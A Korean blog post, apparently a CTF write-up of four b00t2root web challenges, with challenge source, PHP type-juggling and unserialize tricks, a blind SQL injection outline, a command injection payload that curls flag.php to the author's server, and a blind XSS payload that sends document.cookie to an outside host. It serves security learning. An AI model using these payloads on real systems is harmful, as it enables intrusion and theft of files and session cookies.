EasyPhp


간단한 php 트릭류 문제다.

소스는 아래와 같다.


<?php

include "flags.php";

highlight_file(__FILE__);

error_reporting(0);


$str1 = $_GET['1']; 


if(isset($_GET['1'])){ 

    if($str1 == md5($str1)){ 

        echo $flag1; 

    } 

    else{ 

        die(); 

    } 

else{ 

    die();    


$str2 = $_GET['2']; 

$str3 = $_GET['3']; 


if(isset($_GET['2']) && isset($_GET['3'])){ 

    if($str2 !== $str3){ 

        if(hash('md5', $salt . $str2) == hash('md5', $salt . $str3)){ 

            echo $flag2; 

        } 

        else{ 

            die(); 

        } 

    } 

    else{ 

        die(); 

    } 

else{ 

    die();    


class Secrets { 

    var $temp; 

    var $flag; 


if (isset($_GET['4'])) { 

    $str4 = $_GET['4']; 


    if(get_magic_quotes_gpc()){ 

        $str4=stripslashes($str4); 

    } 


    $res = unserialize($str4); 


    if ($res) { 

    $res->flag=$flag3; 

        if ($res->flag === $res->temp) 

            echo $res->flag; 

        else 

            die(); 

    } 

    else die(); 

?>


첫번째 조건은 php Type Juggling 사용해서 값 구해주면 되고, 두번째도 array 트릭으로 우회해주면 된다. 마지막 unserialize쪽은 첨 보는 류의 bypass코드였는데 위 코드가 성립하려면 $res->temp가 무조건 $res->flag를 가리켜야 할 것 같았다. 딱 상황이 레퍼런스 변수 사용할때 느낌이었는데 php에서도 레퍼런스 변수 사용이 가능한가 찾아보니 사용가능하길래 바로 요걸로 serialize데이터를 만들었다.


<?php

class Secrets { 

    var $temp; 

    var $flag; 

$a = new Secrets();

$a->temp=&$a->flag;

echo serialize($a);


result = O:7:"Secrets":2:{s:4:"temp";N;s:4:"flag";R:2;}


Final Payload

?1=0e215962017&2[]=123&3[]=456&4=O:7:"Secrets":2:{s:4:"temp";N;s:4:"flag";R:2;}


Flag = b00t2root{wh4t3v3r_17_74k3s_cuz_1_l0v3_th3_4dren4l1n3_1n_my_v31ns_932b315}




Set Me Free


간단한 SQLI 문제이다.




계정 등록 시 아이디 존재여부 확인하는 쿼리에서 Blind SQLi가 가능해서 이걸로 isRestricted 권한이 False인 계정의 아이디 비번구해서 로그인해주면 된다.




근데 인젝션으로 isRestricted 권한이 False인 계정을 찾으면 안나온다. 그래서 isRestricted가 아닌 userId가 check 테이블에 존재하지 않는 계정을 찾아서 로그인해주면 플래그가 나온다.


Flag = b00t2root{Y0u'r3_5UCcesful_In_S37t1ng_M3_fr33!}




PingService


간단한 Blind Command Injection 문제다.


대충 X-Forwarded-For 세팅해주고 들어가면 ping 명령어를 사용하는 페이지가 나오는데 코드를 보면 아래와 같다.


<?php 


require_once('helper.php'); 

if (getIP() != "127.0.0.1"){ 

?> 

<!DOCTYPE html> 

<html> 

<head> 

    <meta charset="utf-8"> 

    <link href="./main.css" media="all" rel="stylesheet" type="text/css"/> 

</head> 

<body> 

<?php 

    die("Oye! This service is only for local client"); 

?> 

</body> 

</html> 

<?php 

}else{ 

?> 


<html> 

<head> 

    <meta charset="utf-8"> 

    <link href="./main.css" media="all" rel="stylesheet" type="text/css"/> 

</head> 

<body> 

  <div class="login"> 

    <div class="login-screen"> 

      <div class="app-title"> 

        <h1>Ping Service</h1> 

      </div> 

<form action="" method="post"> 

      <div class="login-form"> 

        <div class="control-group"> 

        <input type="text" class="login-field" placeholder="8.8.8.8" id="ip" name="ip"> 

        <label class="login-field-icon fui-user" for="login-form"></label> 

        </div> 


        <button type="submit" class="btn btn-primary btn-large btn-block">Submit</button> 

      </div> 

      </form>  

    </div> 

  </div> 


  </body> 

</html> 


<?php 



if(!isset($_POST['ip'])){ 

    highlight_file(__FILE__); 

else if(isset($_POST['ip'])) { 

    $ip = $_POST['ip']; 

    $ip = 'ping -c 1 '.clean($ip); 

    $res = str_replace("\n", "</br>\n", shell_exec($ip)); 

    if(strpos($res, "100% packet loss")!==false){ 

      echo "<center> <h2 style='color:red'>Not Alive </h2></center>"; 

    } 

    else{ 

      echo "<center> <h2 style='color:yellow'>Alive </h2></center>"; 

    } 




?>


별게 없어보이는데 clean이라는 함수가 명령어 실행전에 수행된다. 여기서 필터가 이루어지고 있는데 해당 함수가 존재하는 helper.php 파일의 tiled 파일이 존재해서 소스코드 leak가 가능하다.


<?php

function getIP()

{

if (@$_SERVER["HTTP_X_FORWARDED_FOR"]){

$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];

}else if (@$_SERVER["HTTP_CLIENT_IP"]){

$ip = $_SERVER["HTTP_CLIENT_IP"];

}else if (@$_SERVER["REMOTE_ADDR"]){

$ip = $_SERVER["REMOTE_ADDR"];

}else if (@getenv("HTTP_X_FORWARDED_FOR")){

$ip = getenv("HTTP_X_FORWARDED_FOR");

}else if (@getenv("HTTP_CLIENT_IP")){

$ip = getenv("HTTP_CLIENT_IP");

}else if (@getenv("REMOTE_ADDR")){

$ip = getenv("REMOTE_ADDR");

}else{

$ip = "Unknown";

}

return $ip;

}

function clean($data) {

if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $data))) {

die('<center><h2 style="color:red;">Shoo Go Away heckermen... Thats not an IP Address</h2></center>');

}

    $black_list = array('"', "'", " ","\n");

    foreach ($black_list as $key) {

        // if(strpos($data, $key) !== false){

        //     die("<center> Not Allowed </center>");

        // }

        $data = str_replace($key, '', $data);

    }

    return $data;

}



?>


clean 함수를 보면 preg_match에서 m 옵션을 쓰고있어서 우회가 가능해진다.

개행으로 preg_match 넘겨주고 개행이 그다음 필터에서 replace 당하기때문에 커멘드 구분은 개행말고 ; 써주면 되고 공백은 $IFS써주면 된다.. 그담부턴 걍 curl로 플래그 파일 읽어서 내 서버로 보내주면 된다.


payload = 8.8.8.8%0a;curl$IFS$@http://my_server:9876/?`cat$IFS$@./flag.php|base64`


Flag = b00t2root{mr.s74rk_1_d0nt_feel_s0_g00d}




eXquisite Scenery Sites


간단한 Blind XSS 문제이다.


필터당하면 필터당했다고 친절하게 알려주고 필터가 별로 안빡세서 대충 필터당하는애들 적절히 우회해주면된다. 길이제한이 80글자로 있었는데 내가쓴 페이로드는 크게 길이제한에 안걸려서 상관없었다.


Payload = <svg/onload=location['href']='http://2109004139:9098/?'%2bdocument['cookie']>


Flag = b00t2root{why_y0u_st34l_my_c00ki3s?}




'CTF > Writeup' 카테고리의 다른 글

Encrypt CTF 2019 Write up  (0) 2019.04.05
Codegate 2019 Open CTF Reversing Write up  (2) 2019.04.02
Securinets CTF Quals 2019 AutomateMe  (0) 2019.03.26
Securinets CTF Quals 2019 Web Writeup  (0) 2019.03.25
TAMUctf 19 Obfuscaxor  (0) 2019.03.22
블로그 이미지

JeonYoungSin

메모 기록용 공간

,